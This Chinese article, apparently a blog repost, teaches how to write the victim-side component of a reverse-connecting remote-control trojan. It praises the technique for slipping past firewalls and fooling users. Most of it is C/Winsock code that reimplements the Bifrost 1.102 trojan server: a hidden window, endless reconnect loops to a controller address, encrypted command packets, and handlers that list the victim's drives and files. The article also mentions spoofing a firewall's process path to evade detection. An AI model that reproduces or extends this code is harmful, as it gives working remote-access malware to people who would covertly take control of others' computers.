远程控制编程之反弹端口模式

 远程控制软件的上线模式主要有两种:正向直连模式与反弹端口模式。正向直连模式远控需要输入对方的IP地址和端口(图1),比如Radmin就是正向连接。当被控端是ADSL拨号这种动态IP或者需要监控的机器比较多的话,一个个输入IP和端口是繁琐和不准确的。这时,聪明的远程控制软件开发者们设计了反弹端口模式(图2),比如常见的灰鸽子,PcShare等远控都使用了这个模式。这个模式主要用于两个目的,一是解决被控端的动态IP难确定问题,二是穿透防火墙和麻痹被控机器的用户。

远程控制编程之反弹端口模式_第1张图片

      最初开发者为了解决IP变动问题采用的是控制端IP段端口扫描和被控端Email发信通知两种方法,显然这两种效率都是低下的。反弹端口模式由被控端主动连接控制端,做到了以不变或者一变应万变,所有的被控端只要知道控制端的IP和端口就可以主动连接上来。前面说的不变指得是控制端使用固定IP,一变就是控制端是动态IP,通知控制端IP目前主要使用DNS解析和URL转发两种方法。

      早期的防火墙对内部发起的连接请求无条件信任,反弹端口模型就是利用了这个弱点来穿透防火墙。另外当反弹连接的端口为80的时候,也可以欺骗检查连接状态的用户,让其误以为是正常的Web访问连接。当然现在的防火墙早以是内外兼修了,因此现在很多远控的服务端通过远程注入或者修改PEB伪造进程路径为防火墙进程来达到欺骗和突破防火墙的目的。

      言归正传,在有了反弹端口模式背景知识和基本原理之后,笔者介绍两种自己经常使用的反弹端口模式实现代码。一是基于阻塞SOCKET的反弹框架,另是基于异步选择SOCKET的反弹框架。这里笔者特意选择实现Bifrost1.102(彩虹桥木马)的被控端来增加本文的趣味性和成就感。

      先看阻塞SOCKET的反弹框架。反弹模式中一般都有断线重连机制,这里使用循环来不断发起连接。代码如下:

int APIENTRY WinMain(HINSTANCE hInstance,

                     HINSTANCE hPrevInstance,

                     LPSTR     lpCmdLine,

                     int       nCmdShow)

{

       //初始化WSA
       WSADATA lpWSAData;
       WSAStartup(MAKEWORD(1, 1), &lpWSAData);      

       while (1)
       {
        //开启连接控制端线程,并等待线程结束
              HANDLE hThread;
              DWORD dwThreadID;
              hThread = CreateThread(NULL, 0, ConnectThread, NULL, 0, &dwThreadID);
              WaitForSingleObject(hThread, INFINITE);
              CloseHandle(hThread);

        //休息10秒后再次发起连接
              Sleep(10000);
       }

       // 卸载WSA
       WSACleanup();

       return 0;
}

在ConnectThread线程里先连接控制端,连接成功后循环读取命令指令并分配执行。代码如下:

DWORD _stdcall ConnectThread(LPVOID lParam)

{
       SOCKET hSocket;
       struct sockaddr_in LocalAddr;

       hSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
       LocalAddr.sin_family=AF_INET;
       LocalAddr.sin_port=htons(2000);
       LocalAddr.sin_addr.S_un.S_addr=resolve("127.0.0.1");

       // 连接远程地址
       if( connect(hSocket, (PSOCKADDR)&LocalAddr, sizeof(LocalAddr)) == S_OK)
       {
              BYTE RecvBuf[8192];
              DWORD dwBufferLen;
              int iTimeOut = 180, iResult;
              BOOL bContinue = TRUE;

              if(!SendOnlineMsg(hSocket))//发送在线信息
                     return 0;

              while(bContinue)
              {
                     //读取数据长度
                     iResult = RecvBuffer(
hSocket,
(unsigned char*)&dwBufferLen,
sizeof(DWORD),
iTimeOut);
                     if (iResult <0)
                            break;            

                     if(iResult >0)
                     {
                            if (dwBufferLen > 8192 )
                                   break;

                            //读取数据包,dwBufferLen是前面读取的数据包长度
                            iResult = RecvBuffer(hSocket, RecvBuf, dwBufferLen, iTimeOut);
                            if (iResult <= 0)
                                   break;

                            EnDeCode(RecvBuf, dwBufferLen, szKeyBuffer, sizeof(szKeyBuffer));
                     }

                     switch(RecvBuf[0])
                     {
                     case CMD_PingRequest: //心跳包处理
                            {
                                   if (!SendBuffer(hSocket, CMD_PingReprose, NULL, 0))
                                          bContinue = FALSE;                   
                            }
                            break;
                     case CSocket_ListDrive://获取驱动器信息
                            {
                                   if (!GetDriveList(hSocket))
                                          bContinue = FALSE;     
                            }
                            break;
                     case CSocket_ListFile://获取目录信息
                            {
                                   if (!GetListPathFile(hSocket, (char*)&RecvBuf[1]))
                                          bContinue = FALSE;
                            }
                            break;
            //其他命令略……
                     default:
                            break;
                     }
              }
       }

       //清空网络数据,关闭句柄
       shutdown(hSocket, 0x02);
       closesocket(hSocket);

       return 0;
}

      因为Bifrost1.102的封包结构由三部分组成:数据长度(四字节)、命令(1字节)、数据包内容(若干字节),所以我们看到在ConnectThread线程里看到是先接收读取数据包长度,再接收读取具体的数据包。
通过上面的代码我们也能看出阻塞SOCKET模式的特点,当然就是阻塞了,没有接收到命令前就会阻塞等待,没有时间去做其他工作。
      再看看异步选择SOCKET的反弹模式。这个反弹模式利用Socket I/O中的WSAAsyncSelect模型。使用这个模型,Windows会把网络事件以消息的形势通知应用程序。先看看WSAAsyncSelect的定义:
int PASCAL FAR WSAAsyncSelect ( SOCKET s, HWND hWnd,
                        unsigned int wMsg, long lEvent );
hWnd是接收消息的窗口句柄,wMsg就是关联的消息,lEvent为关心的网络事件集合。
首先我们定义一个消息常量:
#define WM_SOCKET WM_USER+1000
然后创建一个不可见的窗口来接收消息。代码如下:
int APIENTRY WinMain(HINSTANCE hInstance,
                                    HINSTANCE hPrevInstance,
                                    LPSTR lpCmdLine,
                                    int nCmdShow)

{
       //创建一个不可见的窗口
       HWND hWnd;
       WNDCLASS wndc;
       memset(&wndc,0,sizeof(WNDCLASS));
       wndc.lpfnWndProc=WndProc;//窗口消息处理回调函数
       wndc.lpszClassName="Bifrost1.102";
       RegisterClass(&wndc);
       hWnd=CreateWindow("Bifrost1.102","Bifrost1.102",
       WS_OVERLAPPEDWINDOW,
       CW_USEDEFAULT,CW_USEDEFAULT,
       CW_USEDEFAULT,CW_USEDEFAULT,
       NULL,NULL,NULL,NULL);
       ShowWindow(hWnd,SW_HIDE);
       UpdateWindow(hWnd);

       //开始上线线程,传递窗口句柄
       ::CreateThread(NULL, 0, SocketConnectProc, hWnd, 0, NULL);

       //消息循环
       MSG msg;
       while(GetMessage(&msg,NULL,0,0))
       {
                     TranslateMessage(&msg);
                     DispatchMessage(&msg);
       }

       return 1;
}

      SocketConnectProc是上线连接线程,每30秒检测是否断线,如果断线就重新连接并关联Socket和消息。代码如下:
unsigned long CALLBACK SocketConnectProc(LPVOID pParam)
{
    //获取窗口句柄
       HWND hWnd = (HWND)pParam;
       struct sockaddr_in TargAddr;

       while (1)
       {    
              if(connect(hSocket,(sockaddr*)&TargAddr,sizeof(TargAddr))==SOCKET_ERROR )
              {           
            //10056错误,表示socket已连接
                     if (g_bConnect && ::WSAGetLastError() == 10056)
                     {   //休息30秒后再测试
                            Sleep(30000);
                            continue;
                     }
                     else
                     {  
                            shutdown(hSocket,0x02);
                            closesocket(hSocket);
                     }

                     hSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);        
                     memset(&TargAddr,0,sizeof(TargAddr));
                     TargAddr.sin_family=AF_INET;
                     TargAddr.sin_port=htons(CStr_MasterPort);
                     TargAddr.sin_addr.S_un.S_addr=resolve(CStr_MasterAddress1);
              }    
              else//连接成功
              {
                     //关联Socket,注册感兴趣的网络事件
                     WSAAsyncSelect(hSocket,hWnd,WM_SOCKET,FD_READ|FD_CLOSE);
                     if(SendOnlineMsg(hSocket))//发送在线信息
                            g_bConnect = TRUE;   
              }
       }

       return 0;
}

//*************************************************
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
       switch(message)
       {
       case WM_CREATE:
              {
                     WSADATA WsaData;
                     WSAStartup(MAKEWORD(2,0),&WsaData);
              }
              break;
       case WM_SOCKET: //收到WM_SOCKET消息
              if(WSAGETSELECTERROR(lParam))
              {
                     closesocket(wParam);
                     break;
              }    

              switch(WSAGETSELECTEVENT(lParam))
              {
                     //读取输入
              case FD_READ:
                     {
                            BYTE RecvBuf[8192];
                            DWORD dwBufferLen;
                            int iTimeOut = 180,iResult;
                            //读取数据长度
                            iResult = RecvBuffer(hSocket,
(unsigned char*)&dwBufferLen,
sizeof(DWORD),
iTimeOut);
                                                        if (iResult <=0)
                                   break;                         

                            if (dwBufferLen > 8192 )
                                   break;

                            //读取数据包,dwBufferLen是前面读取的数据包长度
                            iResult = RecvBuffer(hSocket, RecvBuf, dwBufferLen, iTimeOut);
                            if (iResult <= 0)
                                   break;

                            //数据解密
                            EnDeCode(RecvBuf, dwBufferLen, szKeyBuffer, sizeof(szKeyBuffer));

                //命令解析与处理
                            switch(RecvBuf[0])
                            {
                //实现同上,具体看代码
                            }
            }
                   break;
              case FD_CLOSE:
                     {
                            closesocket(wParam);
                     }
                     break;
              }
              break;
       case WM_DESTROY:
              {
                     PostQuitMessage(0);
                     WSACleanup();
              }
              break;
       default:
              return DefWindowProc(hWnd,message,wParam,lParam);
       }
       return 0;
}

      异步选择模式的特点是,非阻塞Socket,有消息通知时才接收数据,节省资源。有窗口,可以接收窗口消息,比如接收WM_TIMER消息来使用定时器,WM_DEVICECHANGE消息来侦测USB设备消息的插入拔出,这些比使用线程要简单高效多了。
本文采用了两种不同的框架代码,实现了Bifrost反弹端口上线的服务端,最后欣赏下我们的战果(图3)。

远程控制编程之反弹端口模式_第2张图片


你可能感兴趣的:(编程,框架,socket,防火墙,null,callback)